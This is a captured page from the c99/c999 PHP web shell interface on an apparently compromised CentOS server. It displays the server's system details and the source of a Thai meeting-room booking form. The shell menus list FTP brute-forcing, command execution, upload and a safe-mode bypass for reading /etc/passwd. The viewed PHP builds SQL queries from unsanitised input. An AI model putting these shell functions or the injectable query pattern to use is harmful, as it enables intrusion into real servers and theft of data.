!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RentRoom.php (17.15 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        require_once( 
"../includes/FunctionDB.php" );
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";
         
$myTable1 "budget_year_tb";
          
$myTable2 "formcaroffice";
         
///////////////////
        
$query " SELECT *, prefixName as First_name FROM prefix LEFT JOIN personal_tb ON personal_tb.First_name = prefix.prefixId  LEFT JOIN faculty_tb ON faculty_tb.Faculty_code=personal_tb.Faculty_code  WHERE Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
    
/////-----------///
       
$query1 " SELECT *  FROM  $myTable1   ";
        
$result1 $dbObj->execQuery($query1);
        
$rs $dbObj->fetchObject($result1); 
        
///////--------//
         
$query2 " SELECT *  FROM  $myTable2   ";
        
$result2 $dbObj->execQuery($query2);
        
$rs2 $dbObj->fetchObject($result2); 
        
        
///////--------//
         
$query3 " SELECT *  FROM  $myTable2   ";
        
$result3 $dbObj->execQuery($query3);
        
$rs3 $dbObj->fetchObject($result3); 
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>ใบขออนุมัติใช้ห้องประชุม</title>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.form1;
     if(formObj.Topic.value == "" ) {
            alert("กรุณากรอก หัวข้อเรื่อง"); 
             formObj.Topic.focus();
             return false; } 
     if(formObj.Make.value == "" ) {
             alert("กรุณากรอก จำนวคน");
            formObj.Make.focus();
            return false; } 
     if(formObj.hr.value == "" ) { 
             alert("กรุณากรอก เวลาชั่วโมงเริ่มต้น");
            formObj.hr.focus();
            return false; }
     if(formObj.mn.value == "" ) {
             alert("กรุณากรอก เวลานาทีเริ่มต้น");
            formObj.mn.focus();
            return false; }     
     if(formObj.hr1.value == "" ) {
             alert("กรุณากรอก เวลาชั่วโมงสิ้นสุด"); 
            formObj.hr1.focus();
            return false; }
     if(formObj.mn1.value == "" ) {
             alert("กรุณากรอก เวลานาทีสิ้นสุด");
            formObj.mn1.focus();
            return false; } 
     if(formObj.Room_code.value == "" ) {
             alert("กรุณาเลือก ห้องประชุม");
            formObj.Room_code.focus();
            return false; } 
    else return true ;
}
</script>

</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="left" valign="top" style="padding:10px 0px 5px 10px"><fieldset><legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><a href="FormRoomList.php?Teacher_code=<?=$Teacher_code;?>">ข้อมูลขอใช้ห้องประชุม</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><strong><span class="NOTE">ใบขออนญาตใช้ห้องประชุม</span></strong></legend>
      <form id="form1" name="form1" method="post" action="InsertFormRoom.php" onsubmit="return checkData();">
      <table width="765" border="0" cellspacing="0" cellpadding="0">        
           <tr>      </tr>
      
      <tr>
        <td><table width="760" align="center" cellpadding="0" cellspacing="0">
          <tr height="31">
            <td height="17" colspan="6" align="center" class="PATRON11"><hr /></td>
            </tr>
          <tr height="31">
            <td height="27" colspan="6" align="center" class="PATRON11">ใบขออนุญาตใช้ห้องประชุม</td>
            </tr>
          <tr>
            <td height="15" colspan="6" align="center" class="PATRON11">&nbsp;</td>
            </tr>
          <tr height="29">
            <td height="18" colspan="6">&nbsp;
              <?php
                $collegeCode 
=  $rss["collegeCode"];
                
$sql "Select * From  college Where collegeStatus ='1'";
                
$result1 mysql_query($sql) or die("Error".mysql_error());
                
$rs2 mysql_fetch_array($result1);
              
?>
              <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss["Teacher_code"]?>" />              </td>            
            </tr>
          <tr height="29">
            <td height="24" colspan="4" align="left">&nbsp;</td>
            <td height="24" align="right"><script>DateInput('mDate', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="24" colspan="5" align="left">ส่วนราชการ ภาค/ฝ่าย
              <input name="Name4" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="30"  value="<? echo $rss[Faculty_name]?>  " readonly/>
  <?=$rs2["collegeName"];?>            </td>
            </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">เรื่อง&nbsp;&nbsp;</a>
              <input name="Da" type="text" id="Da" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="ขอใช้ห้องประชุม" size="20" />              </font></td>
            <td width="3"></td>
            <td width="317"></td>
            <td width="1"></td>
            </tr>
          <tr height="29">
            <td height="29" colspan="5" align="left">เรียน &nbsp; ผู้อำนวยการ <font size="2" face="Tahoma">
              <?php
         $collegeCode 
=  $rss["collegeCode"];
         
$sql "Select * From  college Where collegeStatus ='1'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[collegeName] ";
         
?>
              </font></td>
            <td></td>
            </tr>
          <tr height="29">
            <td width="58" height="25"></td>
            <td colspan="5" align="left">ด้วย หน่วยงาน</a>
              <input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="70"  value="<? echo $rss[Faculty_name]?>" readonly/>
              มีความประสงค์จะขอใช้</td>
            </tr>
          <tr height="29">
            <td height="36" colspan="6" align="left">                
              <table width="755">
                <tr>
                  <td width="115">ห้องประชุมระหว่าง</td>
                  <td width="134"><script>DateInput('mDate2', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script>                    </td>
                  <td width="140">
                    เวลา
                    <input name="hr" type="text" id="hr" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="3" maxlength="2" onkeypress="return checkNumeric();"  />.
                    <input name="mn" type="text" id="mn" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="3" maxlength="2" onkeypress="return checkNumeric();" /></td>
                    <td width="44">ถึงวันที่</td>
                  <td width="143"><script>DateInput('mDate3', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script>                    </td>
                  <td width="151">
                    เวลา
                    <input name="hr1" type="text" id="hr1" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="3" maxlength="2" onkeypress="return checkNumeric();" />.
                    <input name="mn1" type="text" id="mn1" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="3" maxlength="2" onkeypress="return checkNumeric();" /></td>
                  </tr>
                </table>              </td>
            </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">เพื่อจัดประชุม/อบรม/สัมนา เรื่อง<a>
              <input name="Topic" type="text" id="Topic" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="96" />
              </a>              </td>
            </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">จำนวน
              <input name="Make" type="text" id="Make" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" onkeypress="return checkNumeric();" size="10" maxlength="4" />
              คน    โดยมีรายละเอียดในการขอใช้ห้องประชุม ดังนี้</td>
            </tr>
          <tr height="29">
            <td height="29"  align="left">&nbsp;</td>
            <td height="29" align="center">เลือกห้องประชุม</td>
            <td height="29" align="left" colspan="4">
                <select name="Room_code" id="Room_code" />
                  <option value="">
                    <?php
                                    $strSQL 
" SELECT * FROM  room_tb   Where  roomtyId ='1'    ";
                                    
$result4 mysql_query($strSQL);
                                    while( 
$rs4 mysql_fetch_array($result4) ) {
                                
?>
                    กรุณาเลือกห้องประชุม</option>
                  <option value="<?=$rs4['Room_code'];?>"<?php if( $rs4['Room_code']==$Room ) echo 'selected'?>>
                    <?=$rs4['Room_code']."&nbsp;".$rs4['Room_type']." : ".$rs4['Room_name'];?>
                    </option>
                  <?php
                                    
# while
                                
?>
                </select>            </td>
          </tr>
          <tr height="29">
            <td height="29"  align="left">&nbsp;</td>
            <td height="29" align="left">
                    <input type="checkbox" name="Check_format" value="1" />
                    จัดรูปแบบห้องประชุม            </td>
            <td height="29" align="left" colspan="4">
                    <input name="Detail_format"  type="text" id="Detail_format" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="90" />            </td>
          </tr>
          <tr height="29">
            <td height="29"  align="left">&nbsp;</td>
            <td height="29" align="left">
                    <input type="checkbox" name="Check_tool" value="2" />
                    อุปกรณ์โสตทัศนูปกรณ์            </td>
            <td height="29" align="left" colspan="4">
                    <input name="Detail_tool" type="text" id="Detail_tool" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="90" />            </td>
          </tr>
          <tr height="29">
            <td height="29"  align="left">&nbsp;</td>
            <td height="29" align="left">
                    <input type="checkbox" name="Check_food" value="3" />
                    อาหารว่างและเครื่องดื่ม            </td>
            <td height="29" align="left" colspan="4">
                    <input name="Detail_food" type="text" id="Detail_food" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="90" />            </td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;จึงเรียนมาเพื่อโปรดอนุญาตและดำเนินการต่อไปด้วย จะเป็นพระคุณ</td>
          </tr>
          <tr height="29">
            <td height="49" colspan="6" align="left"><p>&nbsp;</p></td>
          </tr>
          <tr height="31">
            <td height="23" colspan="3" align="left"></td>
            <td>&nbsp;</td>
            <td align="center">ลงชื่อ................................................</td>
            <td></td>
            </tr>
          <tr height="29">
            <td height="29" colspan="3">&nbsp;</td>
            <td></td>
            <td align="center">(&nbsp;<? echo $rss[First_name]?> <? echo $rss[Teacher_name]?>&nbsp;<? echo $rss[Teacher_lastname]?> )
              <input name="Teacher_code" type="hidden" id="Teacher_code" value="<? echo $rss[Teacher_code];?>" /></td>
            <td></td>
            </tr>
          <tr height="31">
            <td height="31">&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td colspan="3" align="center">ตำแหน่ง<font color="#0000FF" size="2" face="Tahoma">
              <input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="20"  value="<? //$PositionId =  $rss["PositionId"];
         
$sql "Select * From  position_tb   Where   PositionId ='$rss[PositionId]'  ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rs2 mysql_fetch_array($result1);
          echo 
"$rs2[Position_name] ";?>
         " />
              </font></td>
            </tr>
          <tr height="31">
            <td height="31">&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td colspan="3" align="center">&nbsp;</td>
          </tr>
          <tr height="31">
            <td height="31">&nbsp;</td>
            <td width="158">&nbsp;</td>
            <td width="230">&nbsp;</td>
            <td colspan="3" align="center"><span class="style13">ความเห็นหัวหน้าหน่วยงาน</span></td>
            </tr>
          <tr height="29">
            <td height="16" colspan="2" align="center">&nbsp;</td>
            <td></td>
            <td colspan="3" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29"></td>
            <td></td>
            <td colspan="2"></td>
            <td colspan="2" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<label>
              <input type="radio" name="radio" value="Y" />
              </label>
              อนุญาต&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
              <input type="radio" name="radio" value="N" />
              ไม่อนุญาต<br/><br/>
              เนื่องจาก 
             <input name="Detail" type="text" id="Detail" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" size="40" /> </td>
          </tr>
          <tr height="31">
            <td height="23" colspan="3" align="left"></td>
            <td>&nbsp;</td>
            <td align="center">&nbsp;</td>
            <td></td>
          </tr>
          <tr height="31">
            <td height="23" colspan="3" align="left"></td>
            <td>&nbsp;</td>
            <td align="center">ลงชื่อ...................................................</td>
            <td></td>
            </tr>
          <tr height="29">
            <td height="29" colspan="3">&nbsp;</td>
            <td></td>
            <td align="center">( .................................................. )              </td>
            <td></td>
            </tr>
          <tr height="31">
            <td height="31">&nbsp;</td>
            <td>&nbsp;</td>
            <td>&nbsp;</td>
            <td colspan="3" align="center">ตำแหน่ง ......................................................</td>
            </tr>
          <tr height="31">
            <td height="10" colspan="6" align="center"><hr /></td>
            </tr>
          <tr height="31">
            <td height="24" colspan="6" align="center"><input type="submit" name="Submit" value="บันทึก" class="WIDTH60 CURSOR-HAND" />
              &nbsp;
              <input type="reset" name="Reset" value="รีเซ็ต" class="WIDTH60 CURSOR-HAND" />
              &nbsp;&nbsp;
              <input type="button" name="Button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href=FormCarList.php?Teacher_code=<?=$Teacher_code;?>'" /></td>
            </tr>
          </table></td>
      </tr>
      <tr>
        <td><span class="NOTE">หมายเหตุ : รูปแบบการใส่เวลา เช่น 18.30 , 07.30 เป็นต้น</span></td>
      </tr>        
      </table>
      </form>
    </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0156 ]--